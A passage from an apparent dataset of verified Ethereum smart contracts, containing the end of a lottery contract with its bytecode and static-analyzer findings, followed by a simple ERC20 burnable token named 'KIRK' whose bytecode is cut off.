totalEntry = 0;
entryArray = new uint[](0);
userAddresses = new address[](0);
round++;
}
function getSeed() private view returns(uint) {
return uint(keccak256(abi.encodePacked(block.difficulty, now, userAddresses)));
}
function calculateWinner(uint target) internal view returns(uint){
uint last = entryArray.length;
uint first = 0;
uint mid = 0;
if(target <= entryArray[0]){
return entryArray[0];
}
if(target >= entryArray[last-1]){
return entryArray[last-1];
}
while(first < last){
mid = (first + last) / 2;
if(entryArray[mid] == target){
return entryArray[mid];
}
if(target < entryArray[mid]){
if(mid > 0 && target > entryArray[mid - 1]){
return entryArray[mid - 1];
}
last = mid;
}
else{
if(mid < last - 1 && target < entryArray[mid + 1]){
return entryArray[mid];
}
first = mid + 1;
}
}
return entryArray[mid];
}
function winningChance() public view returns(uint winchance){
return(
(userInfo[round][msg.sender].totalEntries * 100) / totalEntry);
}
function lastRoundInfo() external view returns(address[] memory,uint[] memory){
return (winners,winningNumbers);
}
function transferAnyERC20(address _tokenAddress, address _to, uint _amount) public onlyOwner {
require(_tokenAddress != address(token),"Not USDC");
IERC20(_tokenAddress).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80637a8042bd116100f9578063a2fb117511610097578063dd4e878011610071578063dd4e8780146106f1578063e0a1ca6e1461070f578063f2fde38b1461072d578063fc0c546a14610771576101a9565b8063a2fb11751461065d578063d59baa03146106b5578063dbdff2c1146106d3576101a9565b806393290f0b116100d357806393290f0b1461053b57806393f1a40b1461059357806394985ddd14610607578063a0be06f91461063f576101a9565b80637a8042bd146104ab5780638beb60b6146104d95780638da5cb5b14610507576101a9565b80634e45f095116101665780635b6f547e116101405780635b6f547e146103c35780635d495aea146104315780635e08ea831461043b57806369010e3b1461047d576101a9565b80634e45f0951461030b5780634f23ed961461034d578063502c9bd51461036b576101a9565b80631209b1f6146101ae578063146ca531146101cc57806315981650146101ea5780633f78ad6e146102185780633fd43098146102bf57806342619f66146102ed575b600080fd5b6101b66107a5565b6040518082815260200191505060405180910390f35b6101d46107ab565b6040518082815260200191505060405180910390f35b6102166004803603602081101561020057600080fd5b81019080803590602001909291905050506107b1565b005b61022061087e565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b8381101561026757808201518184015260208101905061024c565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102a957808201518184015260208101905061028e565b5050505090500194505050505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610967565b005b6102f561117e565b6040518082815260200191505060405180910390f35b6103376004803603602081101561032157600080fd5b8101908080359060200190929190505050611184565b6040518082815260200191505060405180910390f35b6103556111a5565b6040518082815260200191505060405180910390f35b6103976004803603602081101561038157600080fd5b81019080803590602001909291905050506111ab565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61042f600480360360608110156103d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111e7565b005b610439611420565b005b6104676004803603602081101561045157600080fd5b8101908080359060200190929190505050611c38565b6040518082815260200191505060405180910390f35b6104a96004803603602081101561049357600080fd5b8101908080359060200190929190505050611c50565b005b6104d7600480360360208110156104c157600080fd5b8101908080359060200190929190505050611d1d565b005b610505600480360360208110156104ef57600080fd5b8101908080359060200190929190505050611f21565b005b61050f611fee565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105676004803603602081101561055157600080fd5b8101908080359060200190929190505050612014565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105df600480360360408110156105a957600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612047565b6040518084151581526020018381526020018215158152602001935050505060405180910390f35b61063d6004803603604081101561061d57600080fd5b810190808035906020019092919080359060200190929190505050612098565b005b610647612167565b6040518082815260200191505060405180910390f35b6106896004803603602081101561067357600080fd5b810190808035906020019092919050505061216d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106bd6121a9565b6040518082815260200191505060405180910390f35b6106db6121af565b6040518082815260200191505060405180910390f35b6106f9612466565b6040518082815260200191505060405180910390f35b61071761246c565b6040518082815260200191505060405180910390f35b61076f6004803603602081101561074357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124d7565b005b6107796125de565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60085481565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b606080600660078180548060200260200160405190810160405280929190818152602001828054801561090657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116108bc575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561095857602002820191906000526020600020905b815481526020019060010190808311610944575b50505050509050915091509091565b60085481101580156109855750600a6009548161098057fe5b048111155b6109f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c696420616d6f756e7421000000000000000000000000000000000081525060200191505060405180910390fd5b601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615610acd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416c726561647920656e7465726564210000000000000000000000000000000081525060200191505060405180910390fd5b80601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610b7557600080fd5b505afa158015610b89573d6000803e3d6000fd5b505050506040513d6020811015610b9f57600080fd5b81019080805190602001909291905050501015610c24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f53657420616c6c6f77616e63652066697273742100000000000000000000000081525060200191505060405180910390fd5b6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610cd757600080fd5b505af1158015610ceb573d6000803e3d6000fd5b505050506040513d6020811015610d0157600080fd5b8101908080519060200190929190505050905080610d87576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f5472616e73666572206661696c6564000000000000000000000000000000000081525060200191505060405180910390fd5b600954601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e1357600080fd5b505afa158015610e27573d6000803e3d6000fd5b505050506040513d6020811015610e3d57600080fd5b81019080805190602001909291905050501115610ec2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f506f6f6c20616c72656164792066756c6c00000000000000000000000000000081525060200191505060405180910390fd5b6000610ed96008548461260490919063ffffffff16565b905060085460095481610ee857fe5b0481600454011115610f62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f427579206c6f77657220616d6f756e74206f66207469636b657473000000000081525060200191505060405180910390fd5b80601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506001601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506001600454908060018154018082558091505060019003906000526020600020016000909190919091505533601a6000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550806004600082825401925050819055506002339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fa0405ed62da771dea9ae1687143e1531af81ade5b749bf58c02d871b22a6f4e3338483604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b60185481565b6007818154811061119157fe5b906000526020600020016000915090505481565b60045481565b600281815481106111b857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f74205553444300000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113df57600080fd5b505af11580156113f3573d6000803e3d6000fd5b505050506040513d602081101561140957600080fd5b810190808051906020019092919050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b600a600280549050101561155f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f41746c65617374203130207061727469636970616e747300000000000000000081525060200191505060405180910390fd5b603260045410156115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f4d696e696d756d203530207469636b65747320736f6c6400000000000000000081525060200191505060405180910390fd5b6018546019541415611652576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5570646174652072616e646f6d206e756d62657220666972737421000000000081525060200191505060405180910390fd5b6000806000806000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116e357600080fd5b505afa1580156116f7573d6000803e3d6000fd5b505050506040513d602081101561170d57600080fd5b81019080805190602001909291905050509050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166064600a5485028161178f57fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117e357600080fd5b505af11580156117f7573d6000803e3d6000fd5b505050506040513d602081101561180d57600080fd5b8101908080519060200190929190505050506064600a5482028161182d57fe5b04810390505b600a851015611a5f576118526004546018548161184c57fe5b06612693565b9350601a600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506006839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506007600454601854816118fc57fe5b069080600181540180825580915050600190039060005260206000200160009091909190915055601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb846103e8600b89600a811061197257fe5b015485028161197d57fe5b046040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156119d157600080fd5b505af11580156119e5573d6000803e3d6000fd5b505050506040513d60208110156119fb57600080fd5b810190808051906020019092919050505050848060010195505060185442866040516020018084815260200183815260200182815260200193505050506040516020818303038152906040528051906020012060001c915081601881905550611833565b7f68c0730041167410e1efc0fa1abec7e3a8220c8803db9accd8506119cb95fc23600660076040518080602001806020018381038352858181548152602001915080548015611b0357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611ab9575b50508381038252848181548152602001915080548015611b4257602002820191906000526020600020905b815481526020019060010190808311611b2e575b505094505050505060405180910390a16018546019819055506000600481905550600067ffffffffffffffff81118015611b7b57600080fd5b50604051908082528060200260200182016040528015611baa5781602001602082028036833780820191505090505b5060019080519060200190611bc0929190612c80565b50600067ffffffffffffffff81118015611bd957600080fd5b50604051908082528060200260200182016040528015611c085781602001602082028036833780820191505090505b5060029080519060200190611c1e929190612ccd565b506005600081548092919060010191905055505050505050565b600b81600a8110611c4557fe5b016000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b8060098190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611de0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b7f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e7157600080fd5b505af1158015611e85573d6000803e3d6000fd5b505050506040513d6020811015611e9b57600080fd5b8101908080519060200190929190505050611f1e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f556e61626c6520746f207472616e73666572000000000000000000000000000081525060200191505060405180910390fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611fe4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b80600a8190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900460ff16908060010154908060020160009054906101000a900460ff16905083565b7f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4f6e6c7920565246436f6f7264696e61746f722063616e2066756c66696c6c0081525060200191505060405180910390fd5b6121638282612878565b5050565b600a5481565b6006818154811061217a57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612274576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b6017547f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122fe57600080fd5b505afa158015612312573d6000803e3d6000fd5b505050506040513d602081101561232857600080fd5b81019080805190602001909291905050501161238f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b815260200180612db0602b913960400191505060405180910390fd5b600067ffffffffffffffff811180156123a757600080fd5b506040519080825280602002602001820160405280156123d65781602001602082028036833780820191505090505b50600690805190602001906123ec929190612ccd565b50600067ffffffffffffffff8111801561240557600080fd5b506040519080825280602002602001820160405280156124345781602001602082028036833780820191505090505b506007908051906020019061244a929190612c80565b5061246160165460175461245c6128c4565b612966565b905090565b60195481565b60006004546064601b6000600554815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015402816124d157fe5b04905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461259a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4f6e6c79206f776e657220616c6c6f776564000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080821161267b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b600082848161268657fe5b0490508091505092915050565b600080600180549050905060008060016000815481106126af57fe5b906000526020600020015485116126e35760016000815481106126ce57fe5b90600052602060002001549350505050612873565b6001808403815481106126f257fe5b906000526020600020015485106127275760018084038154811061271257fe5b90600052602060002001549350505050612873565b5b828210156128555760028383018161273c57fe5b049050846001828154811061274d57fe5b90600052602060002001541415612780576001818154811061276b57fe5b90600052602060002001549350505050612873565b6001818154811061278d57fe5b90600052602060002001548510156127f8576000811180156127c757506001808203815481106127b957fe5b906000526020600020015485115b156127f0576001808203815481106127db57fe5b90600052602060002001549350505050612873565b809250612850565b6001830381108015612822575060018082018154811061281457fe5b906000526020600020015485105b15612849576001818154811061283457fe5b90600052602060002001549350505050612873565b6001810191505b612728565b6001818154811061286257fe5b906000526020600020015493505050505b919050565b806018819055507fdd1082c62fe2408b97a7320555bd4a2a42f6c8f8771c418c23cf79185279fe4c82601854604051808381526020018281526020019250505060405180910390a15050565b60004442600260405160200180848152602001838152602001828054801561294157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116128f7575b505093505050506040516020818303038152906040528051906020012060001c905090565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca73ffffffffffffffffffffffffffffffffffffffff16634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb795285878660405160200180838152602001828152602001925050506040516020818303038152906040526040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612a5f578082015181840152602081019050612a44565b50505050905090810190601f168015612a8c5780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015612aad57600080fd5b505af1158015612ac1573d6000803e3d6000fd5b505050506040513d6020811015612ad757600080fd5b8101908080519060200190929190505050506000612b098584306000808a815260200190815260200160002054612b5b565b9050612b31600160008088815260200190815260200160002054612bbf90919063ffffffff16565b60008087815260200190815260200160002081905550612b518582612c47565b9150509392505050565b600084848484604051602001808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019450505050506040516020818303038152906040528051906020012060001c9050949350505050565b600080828401905083811015612c3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008282604051602001808381526020018281526020019250505060405160208183030381529060405280519060200120905092915050565b828054828255906000526020600020908101928215612cbc579160200282015b82811115612cbb578251825591602001919060010190612ca0565b5b509050612cc99190612d57565b5090565b828054828255906000526020600020908101928215612d46579160200282015b82811115612d455782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612ced565b5b509050612d539190612d74565b5090565b5b80821115612d70576000816000905550600101612d58565b5090565b5b80821115612dab57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612d75565b509056fe4e6f7420656e6f756768204c494e4b202d2066696c6c20636f6e7472616374207769746820666175636574a26469706673582212206ddd02a13fc1865716edadd925b93666ce9c7f6b147fd93017e3aa91b11099a164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,598 |
0x1998cfc16f62547fa7e8dfe2f574cf4d349109c9
|
/**
*Submitted for verification at Etherscan.io on 2021-03-17
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'TO BOLDLY GO' token contract
//
// Symbol : KIRK
// Name : TO BOLDLY GO
// Total supply: 100 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract KIRK is BurnableToken {
string public constant name = "TO BOLDLY GO";
string public constant symbol = "KIRK";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a11565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e68565b6040518082815260200191505060405180910390f35b6103b1610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0e565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e2565b60405180821515815